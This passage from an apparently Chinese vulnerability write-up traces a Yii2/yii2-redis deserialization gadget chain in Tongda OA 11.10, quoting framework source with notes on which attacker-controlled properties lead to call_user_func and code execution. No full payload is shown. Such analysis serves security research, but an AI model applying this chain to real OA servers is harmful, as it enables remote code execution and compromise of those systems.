Menlo, monospace;word-break: break-all;">$this-&gt;_dataReader-&gt;close()</p>可以理解为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">可控类-&gt;close()</p>。全局搜索到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii\db\DataReader</p>存在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">close()</p>方法。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">__destruct</span><span style="line-height: 26px;">()</span>    </span>{        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// make sure cursor is closed</span>        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;reset();    }<span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">reset</span><span style="line-height: 26px;">()</span>    </span>{        <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_dataReader !== <span style="color: #c678dd;line-height: 26px;">null</span>) {             <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_dataReader-&gt;close();        }        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_dataReader = <span style="color: #c678dd;line-height: 26px;">null</span>;        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_batch = <span style="color: #c678dd;line-height: 26px;">null</span>;        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_value = <span style="color: #c678dd;line-height: 26px;">null</span>;        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_key = <span style="color: #c678dd;line-height: 26px;">null</span>;    }</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因此，可设置<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_dataReader=new DataReader()</p>从而触发调用其<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">close</p>方法，进入后<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_statement</p>可控，同样是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">可控类-&gt;closeCursor()</p>，但是全局搜索没找到什么对应的类。尝试找带有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">call</p>方法的类，通过调用其不存在的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">closeCursor</p>，触发<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">call</p>方法。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">close</span><span style="line-height: 26px;">()</span>    </span>{        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_statement-&gt;closeCursor();<span style="color: #5c6370;font-style: italic;line-height: 26px;">//$this-&gt;_statement = new Connection();</span>        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_closed = <span style="color: #c678dd;line-height: 26px;">true</span>;    }</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在通达oa 11.10全局搜索中找到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii2</p>框架还用了<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii2-redis</p>库，在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii2-redis</p>里面找到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii\redis\Connection</p>类存在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">call</p>方法。</div><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7292307692307692" data-s="300,640" style="" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=3196a3ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCf4f2TtyGq6KhibpjRc6JKA7OoHElVMeefsHb6IBibWgfLFYH6wkHH1MkQ7iaNwdYTdeDQWucd0jF4LQ%2F640%3Fwx_fmt%3Dpng"/></p><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">打开后发现代码由于解密问题有乱码问题，找到对应的yii2-redis仓库下载对应版本的源码（<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">inc/vendor/yii2/yiisoft/extensions.php</p>页面可查看<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii2-redis</p>版本为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">2.0.6</p>）。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$redisCommand=$name=&#39;closeCursor&#39;</p>转换为大写，再与<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;redisCommands</p>比对，查看是否存在其中，而<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;redisCommands</p>可控，可参照其默认值形式，设置为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">CLOSE CURSOR</p>，从而可进入<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">executeCommand</p>。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> $redisCommands = [        <span style="color: #98c379;line-height: 26px;">&#39;APPEND&#39;</span>, <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Append a value to a key</span>        <span style="color: #98c379;line-height: 26px;">&#39;AUTH&#39;</span>, <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Authenticate to the server</span>        <span style="color: #98c379;line-height: 26px;">&#39;BGREWRITEAOF&#39;</span>, <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Asynchronously rewrite the append-only file</span>        <span style="color: #98c379;line-height: 26px;">&#39;BGSAVE&#39;</span>, <span style="color: #5c6370;font-style: italic;line-height: 26px;">// Asynchronously save the dataset to disk</span>......    ];<span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">__call</span><span style="line-height: 26px;">($name, $params)</span>//$<span style="color: #61aeee;line-height: 26px;">name</span>=<span style="color: #61aeee;line-height: 26px;">closeCursor</span>,$<span style="color: #61aeee;line-height: 26px;">params</span>=<span style="color: #61aeee;line-height: 26px;">null</span>    </span>{        $redisCommand = strtoupper(Inflector::camel2words($name, <span style="color: #c678dd;line-height: 26px;">false</span>));<span style="color: #5c6370;font-style: italic;line-height: 26px;">//CLOSECURSOR</span>        <span style="color: #c678dd;line-height: 26px;">if</span> (in_array($redisCommand, <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;redisCommands)) {            <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;executeCommand($redisCommand, $params);        }        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">parent</span>::__call($name, $params);    }</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">executeCommand</p>调用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">open</p>方法，跟进发现<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_socket</p>可控，为保证代码继续运行这里要设置为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">false</p>（默认初始化值为false）。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$connection</p>由<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">hostname、port、database</p>拼接，每个变量都可控，然后后续进行socket的链接。由于通达一体包系统环境一般是win系统，所以设置<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;unixSocket</p>为false（可控）就能进入win下tcp链接。这里只要连通就可以让<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_socket</p>为true进入if分支。if分之内前面三个if条件<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;dataTimeout、$this-&gt;password、$this-&gt;database</p>都可控，这三个分支调用的不是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">executeCommand</p>的递归就是又进行socket链接都不符合情况，所以需要设置为null，才能保证进入<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">initConnection()</p>。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">executeCommand</span><span style="line-height: 26px;">($name, $params = [])</span>    </span>{        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;open();......    }<span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">open</span><span style="line-height: 26px;">()</span>    </span>{        <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_socket !== <span style="color: #c678dd;line-height: 26px;">false</span>) {            <span style="color: #c678dd;line-height: 26px;">return</span>;        }        $connection = (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;unixSocket ?: <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;hostname . <span style="color: #98c379;line-height: 26px;">&#39;:&#39;</span> . <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;port) . <span style="color: #98c379;line-height: 26px;">&#39;, database=&#39;</span> . <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;database;        \Yii::trace(<span style="color: #98c379;line-height: 26px;">&#39;Opening redis DB connection: &#39;</span> . $connection, <span style="color: #c678dd;line-height: 26px;">__METHOD__</span>);        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_socket = @stream_socket_client(            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;unixSocket ? <span style="color: #98c379;line-height: 26px;">&#39;unix://&#39;</span> . <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;unixSocket : <span style="color: #98c379;line-height: 26px;">&#39;tcp://&#39;</span> . <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;hostname . <span style="color: #98c379;line-height: 26px;">&#39;:&#39;</span> . <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;port,            $errorNumber,            $errorDescription,            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;connectionTimeout ? <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;connectionTimeout : ini_get(<span style="color: #98c379;line-height: 26px;">&#39;default_socket_timeout&#39;</span>),            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;socketClientFlags        );        <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_socket) {            <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;dataTimeout !== <span style="color: #c678dd;line-height: 26px;">null</span>) {                stream_set_timeout(<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_socket, $timeout = (int) <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;dataTimeout, (int) ((<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;dataTimeout - $timeout) * <span style="color: #d19a66;line-height: 26px;">1000000</span>));            }            <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;password !== <span style="color: #c678dd;line-height: 26px;">null</span>) {                <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;executeCommand(<span style="color: #98c379;line-height: 26px;">&#39;AUTH&#39;</span>, [<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;password]);            }            <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;database !== <span style="color: #c678dd;line-height: 26px;">null</span>) {                <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;executeCommand(<span style="color: #98c379;line-height: 26px;">&#39;SELECT&#39;</span>, [<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;database]);            }            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;initConnection();        }    ......}  </p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">initConnection()</p>实际调用的是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii\base\Component（framework/base/Component.php）::trigger()</p>方法，参数<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">EVENT_AFTER_OPEN</p>固定值是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">afterOpen</p>。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">const</span> EVENT_AFTER_OPEN = <span style="color: #98c379;line-height: 26px;">&#39;afterOpen&#39;</span>;<span style="color: #c678dd;line-height: 26px;">protected</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">initConnection</span><span style="line-height: 26px;">()</span>    </span>{        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;trigger(<span style="color: #c678dd;line-height: 26px;">self</span>::EVENT_AFTER_OPEN);<span style="color: #5c6370;font-style: italic;line-height: 26px;">//$this-&gt;trigger(&#39;afterOpen&#39;);</span>    }</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">trigger</p>方法在line560调用了<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">call_user_func</p>，逆向溯源两个<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$handler[0]</p>和<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$event</p>参数。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_events[$name]=$this-&gt;[&#39;afterOpen&#39;]</p>不为空，就能进入该分支调用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">call_user_func</p>。然后对<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_events[&#39;afterOpen&#39;]</p>进行数组遍历，于是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_events[&#39;afterOpen&#39;][0]=$handler[0]</p>可控，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_events[&#39;afterOpen&#39;][1]=$event-&gt;data=Event::data</p>不可控。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">trigger</span><span style="line-height: 26px;">($name, Event $event = null)</span>    </span>{        <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;ensureBehaviors();        <span style="color: #5c6370;font-style: italic;line-height: 26px;">//$this-&gt;_events[&#39;afterOpen&#39;] = &#39;&#39;</span>        <span style="color: #c678dd;line-height: 26px;">if</span> (!<span style="color: #c678dd;line-height: 26px;">empty</span>(<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_events[$name])) {            <span style="color: #c678dd;line-height: 26px;">if</span> ($event === <span style="color: #c678dd;line-height: 26px;">null</span>) {                $event = <span style="color: #c678dd;line-height: 26px;">new</span> Event();            }            <span style="color: #c678dd;line-height: 26px;">if</span> ($event-&gt;sender === <span style="color: #c678dd;line-height: 26px;">null</span>) {                $event-&gt;sender = <span style="color: #c678dd;line-height: 26px;">$this</span>;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//yii\base\Component</span>            }            $event-&gt;handled = <span style="color: #c678dd;line-height: 26px;">false</span>;            $event-&gt;name = $name;<span style="color: #5c6370;font-style: italic;line-height: 26px;">//&#39;afterOpen&#39;</span>            <span style="color: #5c6370;font-style: italic;line-height: 26px;">//$this-&gt;&gt;_events[&#39;afterOpen&#39;] = $handler; </span>            <span style="color: #c678dd;line-height: 26px;">foreach</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_events[$name] <span style="color: #c678dd;line-height: 26px;">as</span> $handler) {                $event-&gt;data = $handler[<span style="color: #d19a66;line-height: 26px;">1</span>];<span style="color: #5c6370;font-style: italic;line-height: 26px;">//any</span>                call_user_func($handler[<span style="color: #d19a66;line-height: 26px;">0</span>],$event);<span style="color: #5c6370;font-style: italic;line-height: 26px;">//call_user_func([new CreateAction,&#39;run&#39;],any);</span>                <span style="color: #5c6370;font-style: italic;line-height: 26px;">// stop further handling if the event is handled</span>                <span style="color: #c678dd;line-height: 26px;">if</span> ($event-&gt;handled) {                    <span style="color: #c678dd;line-height: 26px;">return</span>;                }            }        }        <span style="color: #5c6370;font-style: italic;line-height: 26px;">// invoke class-level attached handlers</span>        Event::trigger(<span style="color: #c678dd;line-height: 26px;">$this</span>, $name, $event);    }</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">参考低版本yii反序列化链执行代码注入的一般通过<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii\rest\CreateAction</p>或者类似的类（代码内容如下所示）。其中<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;checkAccess</p>和<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;id</p>都可控，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: 